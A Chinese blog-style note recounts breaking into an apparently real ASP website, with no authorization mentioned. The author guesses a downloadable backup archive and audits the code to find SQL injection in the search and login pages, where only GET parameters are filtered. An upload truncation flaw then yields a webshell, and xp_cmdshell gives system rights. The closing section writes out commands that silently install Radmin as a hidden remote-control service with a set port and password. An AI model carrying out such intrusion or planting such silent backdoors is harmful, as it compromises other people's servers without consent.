以前测试过的一个站点,没什么技术含量只为给自己留个映像和记录。

习惯性的大致浏览了下网站,获取一些基本的网站架构等信息,习惯的手动猜了下备份文件,运气还OK,web2.rar。

有了备份文件,常理来说基本的网站配置信息,数据库配置信息等都可以拿到,如果服务器还开了外连的话就更直接了,根据权限进行相应的提权等,或者拿到后台管理员权限进行上传shell等,利用shell再进行相应的权限提升,方式比较多。一般我自己的习惯是根据备份文件的完整性对代码进行审计,找出Bug,用BUG再进行下一步的利用。有了代码就没必要像黑盒那样的测了,可以直接分析直接命中。(黑白盒结合吧)

在分析代码前,先去浏览下网站的一些主体文件和参数是怎么样的,可以说是踩点吧。

根据提示可以看到,至少主体文件参数传递GET这边是有过滤的,OK,大致知道了一些信息,开始分析代码,网站程序是asp写的。

通篇浏览下备份文件的结构

可以看到应该是一个第三方开发的一套管理系统程序,不是CMS这种。比较简单,分析起来就不那么麻烦。

查看主文件

可以看到,几个主要的包含文件,一般是数据库文件,过滤文件,自定义函数文件等。打开包含文件 DbConn.Inc 进行分析

可以看到 Invalid 变量过滤的一些关键字,同时 Set Collection=Request.QueryString 可以很明显的看到,只是过滤了Get方式的参数,那么这里就会有安全问题了,sql注入。如果以Request方式接收参数,那么post,cookie都可以进行注入,没有过滤。

带着这个信息点,我们开始分析主要文件参数的接收方式,看看有没有Request的。

infobody.asp 中 StrSQL="Select * From Web_Info Where ID="&Int(Request.QueryString("ID"))

infobody.asp 里 StrSQL="Select * From Web_Info Where ID="&Int(Request.QueryString("ID"))

其中 Int(Request.QueryString("ID") 不仅被过滤了而且还指定了数据类型为int ,那么pass掉了

infolist_01.asp 也一样

来到 Findlist.asp 这里 ,发现 KeyWords =Request("KeyWords") 中KeyWords参数是以Request方式接收,那么post方式进行传参也是可以被接收到的,没过滤直接带入数据库,造成了SQL注入,OK这边就发现了一出注入,先记下。

直接来到后台登入验证这 CheckLogin.asp 里

User_ID = Request.Form ("User_ID")

User_Pass = MD5(Request.Form ("User_Pass"))

VerifyCode = Trim(Request.Form ("VerifyCode"))

帐号密码都是 Request.Form 方式接收(POST),过滤文件只过滤 Request.QueryString 参数,这里又是一处sql注入。

有了注入漏洞,那么先去测试下注入,根据数据库权限再进行下一步深入。

这边可以注入,还是DBA权限,先不急着cmd执行,或者写shell,先拿到管理员进后台看看后台有没有上传漏洞,当然还是分析代码为主,黑白结合吧。拿下还是不拿下已经不重要了,都是套路问题,主要是研究,不要老是按照常规的方式或者单一的方式去测试或者说日站,时间长了思维就会僵硬。


后台比较简陋,所有上传点都是同一个文件处理的,还有webeditor编辑器,其实切入口很多,都可以玩。不过这个webeditor已经写死了,就不测试了。重点测这个上传点

找到了文件 Info_AmendSave.asp 进行分下

可以看到包含了一个 Upload.asp 处理文件,一个截断问题

到这里shell基本拿到了(这里asp的权限非常低,后来上了aspx的),当然前面也说了方式是很多的,比如注入直接写shell,cmd命令add管理员,外链数据库xp_cmdshell什么的都可以玩,溢出拿system,等等

这边就测试下radmin静默部署拿下server吧,也算远控。3.0的,dos下无提示安装

先把前2个文件上传到服务器,(这边我用了sa的帐号特性,administrator,或者system权限,xp_cmdshell执行的命令,当然溢出也可以)

OK,上传完毕。

这边遇到个麻烦,shell脚本问题切不了其它目录,只能在system32目录呆着。。。不过没事权限是system的

直接copy文件 到system32目录

copy完成,开始执行命令

依次:

r_server /port:12345 /pass:admin888 /save /silence

r_server /install /silence

sc start r_server

(说明下,port是待会要连接服务器的端口,pass就很明显了连接密码,第二条命令是安装,第三跳,启动~!!)

前两条命令是不显示任何字符的,第三条会显示状态。这里可以看到已经启动,OK直接去控制端连接下试试

基本已经拿到控制,方式还有很多,add管理员,端口转发连接,都是OK的!没什么技术含量,只是做个笔记。